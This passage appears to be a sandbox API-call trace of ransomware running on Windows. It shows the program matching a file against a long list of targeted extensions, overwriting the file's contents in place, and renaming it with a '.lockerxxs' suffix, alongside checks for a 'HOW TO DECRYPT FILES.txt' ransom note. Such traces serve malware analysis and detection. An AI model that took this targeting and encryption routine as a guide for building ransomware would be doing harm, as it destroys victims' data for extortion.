HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.ost") returned 0 [0090.595] lstrlenA (lpString="*.ost") returned 5 [0090.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.idx") returned 0 [0090.595] lstrlenA (lpString="*.idx") returned 5 [0090.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.dbx") returned 0 [0090.595] lstrlenA (lpString="*.dbx") returned 5 [0090.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.sql") returned 0 [0090.595] lstrlenA (lpString="*.sql") returned 5 [0090.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.mdb") returned 0 [0090.595] lstrlenA (lpString="*.mdb") returned 5 [0090.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.fdb") returned 0 [0090.595] lstrlenA (lpString="*.fdb") returned 5 [0090.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.wab") returned 0 [0090.595] lstrlenA (lpString="*.wab") returned 5 [0090.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.dat") returned 0 [0090.595] lstrlenA (lpString="*.dat") returned 5 [0090.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.txt") returned 0 [0090.595] lstrlenA (lpString="*.txt") returned 5 [0090.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.jpeg") returned 0 [0090.595] lstrlenA (lpString="*.jpeg") returned 6 [0090.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.jpg") returned 0 [0090.596] lstrlenA (lpString="*.jpg") returned 5 [0090.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.png") returned 0 [0090.596] lstrlenA (lpString="*.png") returned 5 [0090.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.php") returned 0 [0090.596] lstrlenA (lpString="*.php") returned 5 [0090.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.cs") returned 0 [0090.596] lstrlenA (lpString="*.cs") returned 4 [0090.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.cpp") returned 0 [0090.596] lstrlenA (lpString="*.cpp") returned 5 [0090.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.rar") returned 0 [0090.596] lstrlenA (lpString="*.rar") returned 5 [0090.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.zip") returned 0 [0090.596] lstrlenA (lpString="*.zip") returned 5 [0090.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.html") returned 0 [0090.596] lstrlenA (lpString="*.html") returned 6 [0090.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.htm") returned 0 [0090.596] lstrlenA (lpString="*.htm") returned 5 [0090.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.xlsx") returned 0 [0090.597] lstrlenA (lpString="*.xlsx") returned 6 [0090.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.xls") returned 0 [0090.597] lstrlenA (lpString="*.xls") returned 5 [0090.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.mp4") returned 0 [0090.597] lstrlenA (lpString="*.mp4") returned 5 [0090.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.ppt") returned 0 [0090.597] lstrlenA (lpString="*.ppt") returned 5 [0090.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.pptx") returned 0 [0090.597] lstrlenA (lpString="*.pptx") returned 6 [0090.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.doc") returned 0 [0090.597] lstrlenA (lpString="*.doc") returned 5 [0090.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.dot") returned 0 [0090.597] lstrlenA (lpString="*.dot") returned 5 [0090.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.docx") returned 0 [0090.597] lstrlenA (lpString="*.docx") returned 6 [0090.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.7z") returned 0 [0090.597] lstrlenA (lpString="*.7z") returned 4 [0090.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.tar") returned 0 [0090.597] lstrlenA (lpString="*.tar") returned 5 [0090.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.bz2") returned 0 [0090.598] lstrlenA (lpString="*.bz2") returned 5 [0090.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.gz") returned 0 [0090.598] lstrlenA (lpString="*.gz") returned 4 [0090.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.mkv") returned 0 [0090.598] lstrlenA (lpString="*.mkv") returned 5 [0090.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.eml") returned 0 [0090.598] lstrlenA (lpString="*.eml") returned 5 [0090.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.msg") returned 0 [0090.598] lstrlenA (lpString="*.msg") returned 5 [0090.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.edb") returned 0 [0090.598] lstrlenA (lpString="*.edb") returned 5 [0090.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.accdb") returned 0 [0090.598] lstrlenA (lpString="*.accdb") returned 7 [0090.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.odb") returned 0 [0090.598] lstrlenA (lpString="*.odb") returned 5 [0090.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.java") returned 0 [0090.598] lstrlenA (lpString="*.java") returned 6 [0090.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.asm") returned 0 [0090.599] lstrlenA (lpString="*.asm") returned 5 [0090.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.pfx") returned 0 [0090.599] lstrlenA (lpString="*.pfx") returned 5 [0090.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.pem") returned 0 [0090.599] lstrlenA (lpString="*.pem") returned 5 [0090.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.p12") returned 0 [0090.599] lstrlenA (lpString="*.p12") returned 5 [0090.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.gpg") returned 0 [0090.599] lstrlenA (lpString="*.gpg") returned 5 [0090.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.vsd") returned 0 [0090.599] lstrlenA (lpString="*.vsd") returned 5 [0090.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.odg") returned 0 [0090.599] lstrlenA (lpString="*.odg") returned 5 [0090.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.raw") returned 0 [0090.599] lstrlenA (lpString="*.raw") returned 5 [0090.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.nef") returned 0 [0090.599] lstrlenA (lpString="*.nef") returned 5 [0090.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.svg") returned 0 [0090.600] lstrlenA (lpString="*.svg") returned 5 [0090.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.psd") returned 0 [0090.600] lstrlenA (lpString="*.psd") returned 5 [0090.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.vmx") returned 0 [0090.600] lstrlenA (lpString="*.vmx") returned 5 [0090.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.vmdk") returned 0 [0090.600] lstrlenA (lpString="*.vmdk") returned 6 [0090.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.vdi") returned 0 [0090.600] lstrlenA (lpString="*.vdi") returned 5 [0090.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.lay6") returned 0 [0090.600] lstrlenA (lpString="*.lay6") returned 6 [0090.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.mpeg") returned 0 [0090.600] lstrlenA (lpString="*.mpeg") returned 6 [0090.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.djvu") returned 0 [0090.600] lstrlenA (lpString="*.djvu") returned 6 [0090.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.tiff") returned 0 [0090.600] lstrlenA (lpString="*.tiff") returned 6 [0090.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.backup") returned 0 [0090.601] lstrlenA (lpString="*.backup") returned 8 [0090.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.pdf") returned 0 [0090.601] lstrlenA (lpString="*.pdf") returned 5 [0090.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.cert") returned 0 [0090.601] lstrlenA (lpString="*.cert") returned 6 [0090.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.docm") returned 0 [0090.601] lstrlenA (lpString="*.docm") returned 6 [0090.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.xlsm") returned 0 [0090.601] lstrlenA (lpString="*.xlsm") returned 6 [0090.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.dwg") returned 0 [0090.601] lstrlenA (lpString="*.dwg") returned 5 [0090.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.nd") returned 0 [0090.601] lstrlenA (lpString="*.nd") returned 4 [0090.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.tlg") returned 0 [0090.601] lstrlenA (lpString="*.tlg") returned 5 [0090.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.lgb") returned 0 [0090.601] lstrlenA (lpString="*.lgb") returned 5 [0090.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.mov") returned 0 [0090.602] lstrlenA (lpString="*.mov") returned 5 [0090.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.xdw") returned 0 [0090.602] lstrlenA (lpString="*.xdw") returned 5 [0090.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.ods") returned 0 [0090.602] lstrlenA (lpString="*.ods") returned 5 [0090.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.wav") returned 0 [0090.602] lstrlenA (lpString="*.wav") returned 5 [0090.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.mp3") returned 1 [0090.602] lstrlenA (lpString="*.mp3") returned 5 [0090.602] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3" [0090.602] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3" [0090.603] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3." [0090.603] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3.lockerxxs" [0090.603] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\fdoj_zh4tkgf9a.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.603] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x14353 [0090.603] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x6ed277f0, dwHighDateTime=0x1d5dc02), lpLastAccessTime=0x407536*(dwLowDateTime=0x116662b0, dwHighDateTime=0x1d5e4af), lpLastWriteTime=0x40753e*(dwLowDateTime=0x116662b0, dwHighDateTime=0x1d5e4af)) returned 1 [0090.604] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.604] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1432d, lpOverlapped=0x0) returned 1 [0090.606] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3") returned="fDoJ_zH4TkgF9a.mp3" [0090.607] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.607] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1432d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1432d, lpOverlapped=0x0) returned 1 [0090.607] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.607] CloseHandle (hObject=0x90) returned 1 [0090.608] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\fdoj_zh4tkgf9a.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\fdoj_zh4tkgf9a.mp3.lockerxxs")) returned 1 [0090.609] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82ab01e0, ftCreationTime.dwHighDateTime=0x1d5df84, ftLastAccessTime.dwLowDateTime=0x6a4f1d30, ftLastAccessTime.dwHighDateTime=0x1d5e41a, ftLastWriteTime.dwLowDateTime=0x6a4f1d30, ftLastWriteTime.dwHighDateTime=0x1d5e41a, nFileSizeHigh=0x0, nFileSizeLow=0xc0e9, dwReserved0=0x3c00033f, dwReserved1=0x4e00c4, cFileName="rTXihtxnjxkNUkKy3.wav", cAlternateFileName="RTXIHT~1.WAV")) returned 1 [0090.609] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.609] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rTXihtxnjxkNUkKy3.wav") returned -1 [0090.609] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rTXihtxnjxkNUkKy3.wav") returned -1 [0090.609] lstrcmpiA (lpString1="", lpString2="rTXihtxnjxkNUkKy3.wav") returned -1 [0090.609] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3") returned="fDoJ_zH4TkgF9a.mp3" [0090.609] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\" [0090.609] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\") returned="" [0090.609] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\HOW TO DECRYPT FILES.txt" [0090.609] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\how to decrypt files.txt")) returned 0x20 [0090.610] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\", lpString2="rTXihtxnjxkNUkKy3.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav" [0090.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.ems") returned 0 [0090.610] lstrlenA (lpString="*.ems") returned 5 [0090.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.db") returned 0 [0090.610] lstrlenA (lpString="*.db") returned 4 [0090.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.dbf") returned 0 [0090.610] lstrlenA (lpString="*.dbf") returned 5 [0090.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", 